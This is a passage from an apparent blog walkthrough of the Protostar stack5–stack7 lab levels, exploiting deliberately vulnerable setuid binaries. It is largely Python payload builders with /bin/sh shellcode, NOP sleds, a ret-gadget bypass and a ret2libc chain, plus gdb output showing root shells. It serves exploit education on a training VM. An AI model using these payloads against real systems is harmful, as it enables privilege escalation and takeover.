: here is what the code looks like:</p><pre>char shellcode[] = &quot;\x31\xc0\x50\x68\x2f\x2f\x73&quot;<br>                   &quot;\x68\x68\x2f\x62\x69\x6e\x89&quot;<br>                   &quot;\xe3\x89\xc1\x89\xc2\xb0\x0b&quot;<br>                   &quot;\xcd\x80\x31\xc0\x40\xcd\x80&quot;;</pre><p>The shellcode which I have to copy is the hex values and we add that instead of \xcc. Now our script will look like this:</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS&quot;<br>eip = &quot;\xb0\xf7\xff\xbf&quot;  <strong>#0xbffff7b0, we are returning to the stack</strong><br>nopslide = &quot;\x90&quot; * 100<br>payload = &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80&quot;<br>print (offset+eip+nopslide+payload)</pre><p>Now save and quit and run this in gdb — /opt…</p><pre>(gdb) run &lt;/tmp/exp1<br>Starting program: /opt/protostar/bin/stack5 &lt;/tmp/exp1<br>Executing new program: /bin/dash</pre><pre>Program exited normally</pre><p>Hmmm the program executed as we can see that /bin/dash was done but we do not have anything. Lets try it in the other directory:</p><pre>user@protostar:/tmp$ python exp1.py | /opt/protostar/bin/stack5<br>user@protostar:/tmp$</pre><p>Hmmm that is weird. We did everything correctly and still nothing happened. Do you know why??</p><p>It is because when the shell is executed due to no input the pipe is immediately closed. So we can keep the pipe open using cat</p><pre>user@protostar:/tmp$ (python exp1.py; cat) | /opt/protostar/bin/stack5<br>id<br>uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)<br>whoami<br>root<br>touch /tmp/file</pre><p>YAY!!!! WE DID IT!!! We finally escelated our privileges to root. Yay!!! hooray!!!</p><h3>STACK 6:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>void getpath()<br>{<br>   char buffer[64];<br>   unsigned int ret;<br><br>   printf(&quot;input path please: &quot;); fflush(stdout);<br><br>   gets(buffer);<br><br>   ret = __builtin_return_address(0);<br><br>   if((ret &amp; 0xbf000000) == 0xbf000000) {<br>   printf(&quot;bzzzt (%p)\n&quot;, ret);<br>     _exit(1);<br>   }<br><br>   printf(&quot;got path %s\n&quot;, buffer);<br>}<br><br>int main(int argc, char **argv)<br>{<br>  getpath();<br><br><br><br>}</pre><p>This is the C program from Stack 6 program. Now lets analyze the program.</p><p>We see that main() is calling another function called getpath(). Now lets look at getpath():</p><pre>void getpath()<br>{<br>   char buffer[64];<br>   unsigned int ret;<br><br>   printf(&quot;input path please: &quot;); fflush(stdout);<br><br>   gets(buffer);<br><br>   ret = __builtin_return_address(0);<br><br>   if((ret &amp; 0xbf000000) == 0xbf000000) {<br>   printf(&quot;bzzzt (%p)\n&quot;, ret);<br>     _exit(1);<br>   }<br><br>   printf(&quot;got path %s\n&quot;, buffer);<br>}</pre><p>As we can see it takes an input ‘gets’ it to the buffer and then there is a __builtin_return_address(0). This gets the return address of ‘ret’ and stores it on the variable ret. The “IF” statement puts a restriction on the address which start with 0xbf as you can see it immediately exits. Lets check if our exploit still works by offsetting it with an extra 4 bytes due to the new unsigned int.</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS<strong>TTTT</strong>&quot;<br>eip = &quot;\xb0\xf7\xff\xbf&quot;  <strong>#0xbffff7b0, we are returning to the stack</strong><br>nopslide = &quot;\x90&quot; * 100<br>payload = &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80&quot;<br>print (offset+eip+nopslide+payload)</pre><pre>user@protostar:/tmp$ python exp1.py | /opt/protostar/bin/stack6<br>input path please: bzzzt (0xbffff7b0)</pre><p>As we can see that it exits immediately.<br>Lets check what is at 0xbfXXXXXX</p><pre>gdb /opt/protostar/bin/stack6<br>(gdb) set disassembly-flavor intel<br>(gdb) b*getpath<br>(gdb) r<br>(gdb) info proc map <strong>#this lets us look at the memory</strong><br>process 1710<br>cmdline = &#39;/opt/protostar/bin/stack6&#39;<br>cwd = &#39;/tmp&#39;<br>exe = &#39;/opt/protostar/bin/stack6&#39;<br>Mapped address spaces:</pre><pre>Start Addr   End Addr    Size  Offset objfile<br>   0x8048000  0x8049000  0x1000    0  /opt/protostar/bin/stack6<br>   0x8049000  0x804a000  0x1000    0  /opt/protostar/bin/stack6<br>  0xb7e96000 0xb7e97000  0x1000    0  <br>  0xb7e97000 0xb7fd5000   0x13e000    0   /lib/libc-2.11.2.so<br>  0xb7fd5000 0xb7fd6000  0x1000   0x13e000   /lib/libc-2.11.2.so<br>  0xb7fd6000 0xb7fd8000  0x2000   0x13e000   /lib/libc-2.11.2.so<br>  0xb7fd8000 0xb7fd9000  0x1000   0x140000   /lib/libc-2.11.2.so<br>  0xb7fd9000 0xb7fdc000  0x3000    0  <br>  0xb7fe0000 0xb7fe2000  0x2000    0  <br>  0xb7fe2000 0xb7fe3000  0x1000    0  [vdso]<br>  0xb7fe3000 0xb7ffe000    0x1b000    0   /lib/ld-2.11.2.so<br>  0xb7ffe000 0xb7fff000  0x1000    0x1a000   /lib/ld-2.11.2.so<br>  0xb7fff000 0xb8000000  0x1000    0x1b000   /lib/ld-2.11.2.so<br>  <strong>0xbffeb000 0xc0000000    0x15000    0  [stack]</strong></pre><p>AHHHHHhhhh. So all the Stack addresses start with 0xbf, so that means we can’t return back to the stack. DAMMIT!!!.</p><p>Ok we can do this!!!. Now let us think about it. So we can control the return address as long as it does not go to the stack. Hmmm let us disassemble getpath() to get more ideas.</p><pre>(gdb) disassemble getpath<br>Dump of assembler code for function getpath:<br>0x08048484 &lt;getpath+0&gt;: push   ebp<br>0x08048485 &lt;getpath+1&gt;: mov    ebp,esp<br>0x08048487 &lt;getpath+3&gt;: sub    esp,0x68<br>0x0804848a &lt;getpath+6&gt;: mov    eax,0x80485d0<br>0x0804848f &lt;getpath+11&gt;:     mov    DWORD PTR [esp],eax<br>0x08048492 &lt;getpath+14&gt;:     call   0x80483c0 &lt;printf@plt&gt;<br>0x08048497 &lt;getpath+19&gt;:     mov    eax,ds:0x8049720<br>0x0804849c &lt;getpath+24&gt;:     mov    DWORD PTR [esp],eax<br>0x0804849f &lt;getpath+27&gt;:     call   0x80483b0 &lt;fflush@plt&gt;<br>0x080484a4 &lt;getpath+32&gt;:     lea    eax,[ebp-0x4c]<br>0x080484a7 &lt;getpath+35&gt;:     mov    DWORD PTR [esp],eax<br>0x080484aa &lt;getpath+38&gt;:     call   0x8048380 &lt;gets@plt&gt;<br>0x080484af &lt;getpath+43&gt;:     mov    eax,DWORD PTR [ebp+0x4]<br>0x080484b2 &lt;getpath+46&gt;:     mov    DWORD PTR [ebp-0xc],eax<br>0x080484b5 &lt;getpath+49&gt;:     mov    eax,DWORD PTR [ebp-0xc]<br>0x080484b8 &lt;getpath+52&gt;:     and    eax,0xbf000000<br>0x080484bd &lt;getpath+57&gt;:     cmp    eax,0xbf000000<br>0x080484c2 &lt;getpath+62&gt;:     jne    0x80484e4 &lt;getpath+96&gt;<br>0x080484c4 &lt;getpath+64&gt;:     mov    eax,0x80485e4<br>0x080484c9 &lt;getpath+69&gt;:     mov    edx,DWORD PTR [ebp-0xc]<br>0x080484cc &lt;getpath+72&gt;:     mov    DWORD PTR [esp+0x4],edx<br>0x080484d0 &lt;getpath+76&gt;:     mov    DWORD PTR [esp],eax<br>0x080484d3 &lt;getpath+79&gt;:     call   0x80483c0 &lt;printf@plt&gt;<br>0x080484d8 &lt;getpath+84&gt;:     mov    DWORD PTR [esp],0x1<br>0x080484df &lt;getpath+91&gt;:     call   0x80483a0 &lt;_exit@plt&gt;<br>0x080484e4 &lt;getpath+96&gt;:     mov    eax,0x80485f0<br>0x080484e9 &lt;getpath+101&gt;:    lea    edx,[ebp-0x4c]<br>0x080484ec &lt;getpath+104&gt;:    mov    DWORD PTR [esp+0x4],edx<br>0x080484f0 &lt;getpath+108&gt;:    mov    DWORD PTR [esp],eax<br>0x080484f3 &lt;getpath+111&gt;:    call   0x80483c0 &lt;printf@plt&gt;<br>0x080484f8 &lt;getpath+116&gt;:    leave  <br>0x080484f9 &lt;getpath+117&gt;:    ret</pre><p>As we know when ‘ret’ happens it calls and pops the address on the return pointer. What if we called ‘ret’ again such that it bypass the if condition?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*qtwXJYwnIYw_kfIkpBo52A.png" /></figure><p>What if we wrote a code like this. Where we ovewrite the return address with the address of the ‘ret’ itself.</p><p>What happens is that the ‘ret’ calls and pops the address 0x080484f9. Thus it goes back to ‘ret’ again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*7O9qz_MGSA595tUTyYNOTA.png" /></figure><p>Thus as you can see here. The address is popped off the stack and is called. Thus it goes to ‘ret’ again. Thus it bypasses the “IF” statement and the next time the ‘ret’ happens the stack address is now at esp and thus is called.</p><p>Now that we have understood it. Now let us find the stack address to return to. Make sure to define hook-stop, b*getpath, etc.</p><p>.</p><p>.</p><p>.</p><p>.</p><p>.</p><pre>(gdb) run</pre><pre><strong>#now let us get to &#39;ret&#39; remember the input to gets should be really long</strong></pre><pre>eax      0x6c  108<br>ecx      0x0   0<br>edx      0xb7fd9340    -1208118464<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7ac    0xbffff7ac<br>ebp      0x41414141    0x41414141<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x80484f9     0x80484f9 &lt;getpath+117&gt;<br>eflags      0x200292 [ AF SF IF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br>0xbffff7ac:  0x41414141   0x41414141   0x41414141   0x41414141<br>0xbffff7bc:  0xb7004141   0x00000001   0xbffff864   0xbffff86c<br>0xbffff7cc:  0xb7fe1848   0xbffff820   0xffffffff   0xb7ffeff4<br>0xbffff7dc:  0x080482a1   0x00000001   0xbffff820   0xb7ff0626<br>0xbffff7ec:  0xb7fffab0   0xb7fe1b28   0xb7fd7ff4   0x00000000<br>0xbffff7fc:  0x00000000   0xbffff838   0x2c179537   0x06406327<br>0xbffff80c:  0x00000000   0x00000000   0x00000000   0x00000001<br>0xbffff81c:  0x080483d0   0x00000000   0xb7ff6210   0xb7eadb9b<br>0x80484f9 &lt;getpath+117&gt;:     ret    <br>0x80484fa &lt;main&gt;:    push   ebp<br>0x080484f9 in getpath () at stack6/stack6.c:23<br>23   in stack6/stack6.c</pre><pre><strong># si an si</strong></pre><pre>(gdb) si<br>Cannot access memory at address 0x41414145<br>(gdb) si<br><br>Program received signal SIGSEGV, Segmentation fault.<br>eax      0x6c  108<br>ecx      0x0   0<br>edx      0xb7fd9340    -1208118464<br>ebx      0xb7fd7ff4    -1208123404<br><strong>esp      0xbffff7b0    0xbffff7b0</strong><br>ebp      0x41414141    0x41414141<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x41414141    0x41414141<br>eflags      0x210292 [ AF SF IF RF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br>0xbffff7b0:  0x41414141   0x41414141   0x41414141   0xb7004141<br>0xbffff7c0:  0x00000001   0xbffff864   0xbffff86c   0xb7fe1848<br>0xbffff7d0:  0xbffff820   0xffffffff   0xb7ffeff4   0x080482a1<br>0xbffff7e0:  0x00000001   0xbffff820   0xb7ff0626   0xb7fffab0<br>0xbffff7f0:  0xb7fe1b28   0xb7fd7ff4   0x00000000   0x00000000<br>0xbffff800:  0xbffff838   0x2c179537   0x06406327   0x00000000<br>0xbffff810:  0x00000000   0x00000000   0x00000001   0x080483d0<br>0xbffff820:  0x00000000   0xb7ff6210   0xb7eadb9b   0xb7ffeff4<br>0x41414141:  Error while running hook_stop:<br>Cannot access memory at address 0x41414141<br>0x41414141 in ?? ()</pre><p>Ok so our Stack address is the same as before. Good no change to the exploit. Now let us make sure that our exploit works. Change the exploit such that you add for the 1st ret address and the 2nd ret address which is the stack addres and replace the payload with opcode int cc and take out the nopslide since we will be doing it in the same directory.</p><p>Wait wait wait. Now if you remember the stack address is 0xbffff7b0 but wont this point to the same area as were the address of the ‘ret’ was popped off?? well it could be. We’ll increase the value of the stack address which we put into our exploit as 0xbffff7c0 such that it will hit the \xcc immediately.</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS<strong>TTTT</strong>&quot;<br>ret = &quot;\xf9\x84\x04\x08&quot;  <strong>#0x080484f9</strong><br>eip = &quot;\xc0\xf7\xff\xbf&quot;  <strong>#0xbffff7c0, we are returning to the stack</strong><br>cc = &quot;\xCC&quot; * 100<br>#payload = &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80&quot;<br>print (offset+ret+eip+cc)</pre><p>Now that is our script now lets fire it up in gdb</p><pre>(gdb) run &lt;/tmp/exp1</pre><pre><strong>#now lets go to ret</strong></pre><pre>eax      0xc6  198<br>ecx      0x0   0<br>edx      0xb7fd9340    -1208118464<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7ac    0xbffff7ac<br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x80484f9     0x80484f9 &lt;getpath+117&gt;<br>eflags      0x200292 [ AF SF IF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br><strong>0xbffff7ac:  0x080484f9   0xbffff7c0   0xcccccccc   0xcccccccc</strong><br>0xbffff7bc:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7cc:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7dc:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7ec:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7fc:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff80c:  0xcccccccc   0xcccccccc   0xcccccccc   0x00000000<br>0xbffff81c:  0x080483d0   0x00000000   0xb7ff6210   0xb7eadb9b<br>0x80484f9 &lt;getpath+117&gt;:     ret    <br>0x80484fa &lt;main&gt;:    push   ebp</pre><pre>Breakpoint 2, 0x080484f9 in getpath () at stack6/stack6.c:23<br>23   in stack6/stack6.c</pre><pre>(gdb) ni <br>eax      0xc6  198<br>ecx      0x0   0<br>edx      0xb7fd9340    -1208118464<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7b0    0xbffff7b0<br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br>eip      0x80484f9     0x80484f9 &lt;getpath+117&gt;<br>eflags      0x200292 [ AF SF IF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br><strong>0xbffff7b0:  0xbffff7c0   0xcccccccc   0xcccccccc   0xcccccccc</strong><br>0xbffff7c0:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7d0:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7e0:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7f0:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff800:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff810:  0xcccccccc   0xcccccccc   0x00000000   0x080483d0<br>0xbffff820:  0x00000000   0xb7ff6210   0xb7eadb9b   0xb7ffeff4<br>0x80484f9 &lt;getpath+117&gt;:     ret    <br>0x80484fa &lt;main&gt;:    push   ebp</pre><pre>Breakpoint 2, 0x080484f9 in getpath () at stack6/stack6.c:23<br>23   in stack6/stack6.c</pre><p>As you can see we hit the breakpoint twice and as you can see we have a stack address next.</p><pre>(gdb) c<br>Continuing.</pre><pre><strong>Program received signal SIGTRAP, Trace/breakpoint trap.</strong><br>eax      0xc6  198<br>ecx      0x0   0<br>edx      0xb7fd9340    -1208118464<br>ebx      0xb7fd7ff4    -1208123404<br>esp      0xbffff7b4    0xbffff7b4<br>ebp      0x53535353    0x53535353<br>esi      0x0   0<br>edi      0x0   0<br>eip      0xbffff7c1    0xbffff7c1<br>eflags      0x200292 [ AF SF IF ID ]<br>cs       0x73  115<br>ss       0x7b  123<br>ds       0x7b  123<br>es       0x7b  123<br>fs       0x0   0<br>gs       0x33  51<br>0xbffff7b4:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7c4:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7d4:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7e4:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff7f4:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff804:  0xcccccccc   0xcccccccc   0xcccccccc   0xcccccccc<br>0xbffff814:  0xcccccccc   0x00000000   0x080483d0   0x00000000<br>0xbffff824:  0xb7ff6210   0xb7eadb9b   0xb7ffeff4   0x00000001<br>0xbffff7c1:  int3   <br>0xbffff7c2:  int3   <br>0xbffff7c1 in ?? ()</pre><p>YAY!!!! WE GOT A Trace/Breakpoint. So it worked. Now let us take out the opcode and add in the nopslide and shell code</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS<strong>TTTT</strong>&quot;<br>ret = &quot;\xf9\x84\x04\x08&quot;  <strong>#0x080484f9</strong><br>eip = &quot;\xc0\xf7\xff\xbf&quot;  <strong>#0xbffff7c0, we are returning to the stack</strong><br>nopslide = &quot;\x90&quot; * 100<br>payload = &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80&quot;<br>print (offset+ret+eip+nopslide+payload)</pre><p>Now let us try it outside gdb:</p><pre>user@protostar:/tmp$ (python exp1.py; cat) | /opt/protostar/bin/stack6<br>input path please: got path ooooAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO�QQQQRRRRSSSS���������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°̀<br> 1�@̀<br>id<br>uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)<br>whoami<br>root</pre><p>YAAAAY!!!!!! WE DID IT!!!!!</p><p>Now one more thing if you remember the ‘ret’ we returned to twice:</p><pre>0x080484f9 &lt;getpath+117&gt;:    ret</pre><p>This is a gadget or a No operation gadget since we returned to a functions without doing anything.</p><p>Another way we could exploit this is through <strong>ret2libc</strong> which we also will look at. So it will be kinda like Stack 4 where we return into a function but that function will be in the libc library. We also do not need to use shellcode too. What function would we return into???</p><pre>man system</pre><pre>NAME<br>       System - executes shell comand</pre><p>So system executes shell commands. But how do we call it? Lets make a C program which calls to it and we’ll se how it works</p><pre>#include &lt;stdlib.h&gt;</pre><pre>void main() {<br>       system (&quot;/bin/sh&quot;);<br>}</pre><p>and then compile it using</p><pre>gcc system.c -o sys</pre><p>if we run it we will get /bin/sh, now lets disassemble it in gdb</p><pre>(gdb) disassemble main<br>Dump of assembler code for function main:<br>0x080483c4 &lt;main+0&gt;:    push   ebp<br>0x080483c5 &lt;main+1&gt;:    mov    ebp,esp<br>0x080483c7 &lt;main+3&gt;:    and    esp,0xfffffff0<br>0x080483ca &lt;main+6&gt;:    sub    esp,0x10<br><strong>0x080483cd &lt;main+9&gt;:    mov    DWORD PTR [esp],0x80484a0<br>0x080483d4 &lt;main+16&gt;:   call   0x80482ec &lt;system@plt&gt;</strong><br>0x080483d9 &lt;main+21&gt;:   leave  <br>0x080483da &lt;main+22&gt;:   ret    <br>End of assembler dump</pre><p>As you can see first the address of system is pushed onto the stack and then is called. And if you remember from before, when a functions is called we also push <strong>it’s return address onto the stack. </strong>So the it would be like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*vVFeGNEx5pcRHsQ2oxq6Dg.png" /></figure><p>When executed: <br><strong>mov DWORD PTR [esp],0x80484a0</strong></p><p>The address is moved to esp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*5XUBArc2J7n-0RE8pHZmFw.png" /></figure><p>When executed: <br><strong>call 0x80482ec &lt;system@plt&gt;</strong></p><p>The return address is then pushed on to the Stack.</p><p>.<br>Since we used buffer overflow to <strong>return into the system</strong>, thus <strong>no return address is pushed onto the stack</strong> since we did <strong>not call system</strong> but <strong>returned into it</strong>. But we control the stack and thus system expects the stack to look like the second picture. We can build this by hand such that it tricks system to work without calling it since system will assume we called it because there is a return address.</p><p>So when system finishes we will get a SEG fault because we will give some random hex values as the return address. Now we know where the return address is.</p><p>Next after the return address comes the string which will be executed by system so it will be “/bin/sh”. There are many options of which thi string could be, like o using a stack address or a environment variable since they would be easier to use. Since we control the stack, we’ll find a stack address where “/bin/sh” is located.</p><p>Now lets go one by one, first lets find system() for stack 6. Open the program in gdb and do the usually and run it and set a breakpoint—</p><pre>(gdb) p system<br>$1 = {&lt;text variable, no debug info&gt;} <strong>0xb7ecffb0</strong> &lt;__libc_system&gt;</pre><p>We got the address of system. Now we need to find the address of “/bin/sh”, lets first start looking in gdb:</p><pre>(gdb) info proc map<br>process 1779<br>cmdline = &#39;/opt/protostar/bin/stack6&#39;<br>cwd = &#39;/tmp&#39;<br>exe = &#39;/opt/protostar/bin/stack6&#39;<br>Mapped address spaces:</pre><pre>Start Addr   End Addr   Size   Offset        objfile<br>      0x8048000  0x8049000  0x1000    0   /opt/protostar/bin/stack6<br>      0x8049000  0x804a000  0x1000    0   /opt/protostar/bin/stack6<br>     0xb7e96000 0xb7e97000  0x1000    0     <br>     <strong>0xb7e97000 0xb7fd5000  0x13e000  0       /lib/libc-2.11.2.so</strong><br>     0xb7fd5000 0xb7fd6000  0x1000 0x13e000   /lib/libc-2.11.2.so<br>     0xb7fd6000 0xb7fd8000  0x2000 0x13e000   /lib/libc-2.11.2.so<br>     0xb7fd8000 0xb7fd9000  0x1000 0x140000   /lib/libc-2.11.2.so<br>     0xb7fd9000 0xb7fdc000  0x3000    0     <br>     0xb7fde000 0xb7fe2000  0x4000    0     <br>     0xb7fe2000 0xb7fe3000  0x1000    0           [vdso]<br>     0xb7fe3000 0xb7ffe000  0x1b000   0      /lib/ld-2.11.2.so<br>     0xb7ffe000 0xb7fff000  0x1000 0x1a000   /lib/ld-2.11.2.so<br>     0xb7fff000 0xb8000000  0x1000 0x1b000   /lib/ld-2.11.2.so<br>     0xbffeb000 0xc0000000  0x15000   0           [stack]<br>(gdb) find 0xb7e97000, +9999999, &quot;/bin/sh&quot;<br>0xb7fba23f<br>warning: Unable to access target memory at 0xb7fd9647, halting search.<br>1 pattern found.<br>(gdb) x/s 0xb7fba23f<br>0xb7fba23f:   &quot;KIND in __gen_tempname\&quot;&quot;</pre><p>WHAT?!?!? Where did /bin/sh go? As we can see only sometimes it works so make sure when you use this you always check. Another way we can find it using strings</p><pre>user@protostar:/tmp$ strings -a -t x /lib/libc-2.11.2.so | grep &quot;/bin/sh&quot;<br> 11f3bf /bin/sh</pre><p>We will search where it is in the libc library, -t will print the offset of “/bin/sh” address from the start address. Now lets see if it works in gdb. — I kept 2 tabs in /tmp directory so it is simpler and more easier to use.</p><pre>(gdb) x/s 0xb7e97000+0x11f3bf<br>0xb7fb63bf:      &quot;/bin/sh&quot;</pre><p>Okay now we got “/bin/sh” now lets make the script:</p><pre>offset = &quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT&quot;<br>system = &quot;\xb0\xff\xec\xb7&quot;  <strong>#0xb7ecffb0</strong> <br>ret_after_system = &quot;AAAA&quot; <br>bin = &quot;\xbf\x63\xfb\xb7&quot;<br>print (offset+system+ret_after_system+bin)</pre><p>Now lets try it out of gdb:</p><pre>user@protostar:/tmp$ (python exp1.py; cat) | /opt/protostar/bin/stack6<br>input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP����RRRRSSSSTTTT����AAAA�c��<br>id<br>uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)<br>whoami<br><strong>root</strong><br>^C<br>Segmentation fault</pre><p>YAAAY!!! We have successfully exploited it with RET2LIBC!!!!</p><h3>STACK 7:</h3><pre>#include &lt;stdlib.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>char *getpath()<br>{<br>  char buffer[64];<br>  unsigned int ret;<br><br>  printf(&quot;input path please: &quot;); fflush(stdout);<br><br>  gets(buffer);<br><br>  ret = __builtin_return_address(0);<br><br>  if((ret &amp; 0xb0000000) == 0xb0000000) {<br>      printf(&quot;bzzzt (%p)\n&quot;, ret);<br>      _exit(1);<br>  }<br><br>  printf(&quot;got path %s\n&quot;, buffer);<br>  return strdup(buffer);<br>}<br><br>int main(int argc, char **argv)<br>{<br>  getpath();<br><br><br><br>}</pre><p>This is the C code for Stack &amp;. Now let us anaylze it.</p><p>As you can see it is similar to our last problem with only 2 changes:<br>1-We have a new IF condition~<br>if((ret &amp; 0xb0000000) == 0xb0000000)<br>If we look back at the last Stack problem, the address was 0xbf… Now it is 0xb, so this means that we cannot use Ret2Libc immediately. Thus we must do a No operation ROP and either return back to the Stack or do Ret2Libc. We will do both for fun.</p><p>2-We have something called <br>return strdup(buffer);<br>It looks like it just returns the buffer??? Lets check out what strdup means</p><pre>man strdup</pre><pre>NAME<br>       strdup, strndup, strdupa, strndupa - duplicate a string<br>DESCRIPTION<br>       The strdup() function returns a pointer to a new string which is a duplicate of the string s.  Memory for the new string is obtained with malloc(3), and can be freed with free(3). The strndup() function is similar, but copies at most n bytes.  If s is longer than n, only n bytes are copied, and  a  terminating  null<br>byte (&#39;\0&#39;) is added. strdupa()  and  strndupa()  are similar, but use alloca(3) to allocate the buffer.  They are available only when using the GNU GCC suite,and suffer from the same limitations described in alloca(3).</pre><p>So it duplicates a string and returns a pointer to it. Will this cause us problems??? Lets find out by firing up gdb and disassembling it.</p><pre>(gdb) disassemble getpath<br>Dump of assembler code for function getpath:<br>0x080484c4 &lt;getpath+0&gt;: push   ebp<br>0x080484c5 &lt;getpath+1&gt;: mov    ebp,esp<br>0x080484c7 &lt;getpath+3&gt;: sub    esp,0x68<br>0x080484ca &lt;getpath+6&gt;: mov    eax,0x8048620<br>0x080484cf &lt;getpath+11&gt;:     mov    DWORD PTR [esp],eax<br>0x080484d2 &lt;getpath+14&gt;:     call   0x80483e4 &lt;printf@plt&gt;<br>0x080484d7 &lt;getpath+19&gt;:     mov    eax,ds:0x8049780<br>0x080484dc &lt;getpath+24&gt;:     mov    DWORD PTR [esp],eax<br>0x080484df &lt;getpath+27&gt;:     call   0x80483d4 &lt;fflush@plt&gt;<br>0x080484e4 &lt;getpath+32&gt;:     lea    eax,[ebp-0x4c]<br>0x080484e7 &lt;getpath+35&gt;:     mov    DWORD PTR [esp],eax<br>0x080484ea &lt;getpath+38&gt;:     call   0x80483a4 &lt;gets@plt&gt;<br>0x080484ef &lt;getpath+43&gt;:     mov    eax,DWORD PTR [ebp+0x4]<br>0x080484f2 &lt;getpath+46&gt;:     mov    DWORD PTR [ebp-0xc],eax<br>0x080484f5 &lt;getpath+49&gt;:     mov    eax,DWORD PTR [ebp-0xc]<br>0x080484f8 &lt;getpath+52&gt;:     and    eax,0xb0000000<br>0x080484fd &lt;getpath+57&gt;:     cmp    eax,0xb0000000<br>0x08048502 &lt;getpath+62&gt;:     jne    0x8048524 &lt;getpath+96&gt;<br>0x08048504 &lt;getpath+64&gt;:     mov    eax,0x8048634<br>0x08048509 &lt;getpath+69&gt;:     mov    edx,DWORD PTR [ebp-0xc]<br>0x0804850c &lt;getpath+72&gt;:     mov    DWORD PTR [esp+0x4],edx<br>0x08048510 &lt;getpath+76&gt;:     mov    DWORD PTR [esp],eax<br>0x08048513 &lt;getpath+79&gt;:     call   0x80483e4 &lt;printf@plt&gt;<br>0x08048518 &lt;getpath+84&gt;:     mov    DWORD PTR [esp],0x1<br>0x0804851f &lt;getpath+91&gt;:     call   0x80483c4 &lt;_exit@plt&gt;<br>0x08048524 &lt;getpath+96&gt;:     mov    eax,0x8048640<br>0x08048529 &lt;getpath+101&gt;:    lea    edx,[ebp-0x4c]<br>0x0804852c &lt;getpath+104&gt;:    mov    DWORD PTR [esp+0x4],edx<br>0x08048530 &lt;getpath+108&gt;:    mov    DWORD PTR [esp],eax<br>0x08048533 &lt;getpath+111&gt;:    call   0x80483e4 &lt;printf@plt&gt;<br>0x08048538 &lt;getpath+116&gt;:    lea    eax,[ebp-0x4c]<br>0x0804853b &lt;getpath+119&gt;:    mov    DWORD PTR 